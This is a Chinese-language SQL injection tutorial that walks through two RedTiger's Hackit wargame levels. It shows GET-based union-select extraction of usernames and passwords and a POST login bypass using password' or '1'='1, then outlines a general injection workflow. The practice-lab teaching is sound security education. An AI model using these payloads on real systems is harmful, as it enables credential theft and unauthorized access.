本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。

GET与POST

进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。

在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。

  • GET - 从指定的资源请求数据。
  • POST - 向指定的资源提交要被处理的数据

1.get方法特点是参数直接从URL中传递
常见形式:
http://www.test.com/index.php?[parameter1]=[value1]&[parameter2]=[value2]

即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。

2.post方法特点是常以提交表单形式传递参数
常见形式:

用firebug查看两者的区别:
get:
https://redtiger.labs.overthewire.org/level1.php?id=1

post:

post注入多为字符型注入,需要注意引号闭合。

正文

本文以RedTiger’s Hackit两道简单的SQL注入为例。

1.简单的get注入

第一关

URL为:https://redtiger.labs.overthewire.org/level1.php

点击Category:1 后,URL变为:https://redtiger.labs.overthewire.org/level1.php?cat=1
且出现文字:

是以get方式传递cat 参数,进行判断是否存在注入点:
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 正常
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2 运行异常

看来存在数字型注入,利用order by 测试出存在4个列:
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4 正常
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 5 运行异常
(此处可直接利用union联合查询进行判断列数)

构造union联合查询语句,找回显:
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4
发现3,4 处存在回显

且页面中有提示:

得知tablename为level1_users,并根据页面所要提交的信息为username,password 猜测列名为username,password
于是构造payload:
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users
得到username和password,提交后get flag。

本题实现的是通过SQL注入进行获取敏感数据。

2.简单的post注入

第二关

URL为https://redtiger.labs.overthewire.org/level2.php

首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”,
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过:
username任意填写,password' or '1'='1

此时用firebug查看可以得到如下信息:

结果成功绕过,get flag。

本题实现的是通过SQL注入实现登录绕过。

总结:
基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。

SQL注入基本流程可概括如下:
1. 判断是否存在注入点;
2. 判断字段回显位置;
3. 判断数据库信息;
4. 查找数据库名;
5. 查找数据库表;
6. 查找数据库表中字段以及字段值。

SQL注入教程——(三)简单的注入尝试相关推荐

  1. SQL注入教程——(四)宽字节注入

    前言 在mysql中,用于转义(即在字符串中的符号前加上"\")的函数有addslashes,mysql_real_escape_string,mysql_escape_strin ...

  2. 【sql注入教程】SQL注入是什么?我们如何去玩转它

    [sql注入教程]SQL注入是什么?我们如何去玩转它 本文转自:i春秋社区   SQL注入攻击是黑客攻击数据库最常见手段之一.简单讲,SQL注入攻击是黑客利用网站程序漏洞,通过提交精心构造的SQL语句 ...

  3. 第一次CTF【后台登录、简单的sql注入之、简单的sql注入之2、猫抓老鼠、i春秋 文件上传】

    后台登录 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 根据md5($password,true)最后要得到原始二进制字符串,要含有or ,在or ...

  4. php 自带sql防注入函数,php 防Sql注入函数的简单示例

    这篇文章主要为大家详细介绍了php 防Sql注入函数的简单示例,具有一定的参考价值,可以用来参考一下. 传入用户提交的参数时使用这段代码提供的函数先对参数进行处理,然后传入sql语句, 用: mysq ...

  5. SQL注入教程——(一)SQL注入原理

    本系列文章将从SQL注入基础讲解,面向初学者,循序渐进. 如有不足,敬请指正. 前置技能 了解SQL语言.语法.操作.常用函数 (基本的SQL数据库操作是进行SQL注入攻击的基础) 了解PHP语言,以 ...

  6. ***教程十:数据库注入(上)

    这一段的教程是笔者(这里应该叫整理者)由<***X档案>的教程中整理改编而来. 不知道是什么时候,B/S结构的软件越来越普及.工程师们为了应对"用户皆白痴"的服务理念( ...

  7. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  8. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  9. SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)

    CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...

最新文章

  1. 链路聚合_链路聚合可靠性技术详解(三)
  2. 推荐 正则表达式入门教程
  3. java中的case1怎么说_Java 中的 CAS 简述及原理解析
  4. 经典FOXMAIL报错 winsock error 11004
  5. SSL/TLS协议运行机制的概述
  6. tf.summary.FileWriter
  7. 黄光裕回应与京东、拼多多竞争:谁也灭不了谁 不排除合作的可能性
  8. TextureUnpacker 分割 Texturepacker 产生的图片 支持windows 和 mac
  9. 一纸书来只为墙,让他三尺又何妨?长城万里今犹在,不见当年秦始皇。
  10. Baby Audio Smooth Operator for Mac(智能信号平衡器插件)
  11. MySQL计算两个日期相差的天数、月数、年数
  12. anaconda怎么打开python3.7,使用anaconda更新到python 3.7
  13. c语言常用的100个程序,100个经典C语言程序,大家可以进来看看。
  14. 螺杆式、离心式、活塞式冷水机组及品牌
  15. 网件使用计算机mac地址吗,网件路由器怎么设置mac地址过滤
  16. mysql nlssort_Oracle中文排序 NLSSORT
  17. AM5SE-IS防孤岛保护装置如何解决分布式光伏发电过程中的影响?
  18. [解疑][TI]TI毫米波雷达系列(一):Texas Instruments德州仪器 相关软件安装及使用时问题汇总,持续更新......
  19. Hilbert 曲线
  20. 火狐浏览器历史版本下载

热门文章

  1. Docker 个人记录
  2. h5(HBuilderX+mui)开发App
  3. 电脑游戏怎么录屏?其实很简单,只需要简单3步
  4. “慷慨的上帝” vs “吝啬的上帝”
  5. kali安装docker教程
  6. 基于java学生考勤管理系统设计——计算机毕业设计
  7. 【Introductory Biology】Lecture 12 - Chemical Genetics 1 - Cell Division Segregating Genetic Materia
  8. 【系统】VMware虚拟机安装Windows11
  9. 小时候背那么多诗有什么用?这是我听过的最好的答案
  10. [单片机框架][drivers层][extend_16ch] 16位恒流驱动芯片 MBI5020 JXI5020GP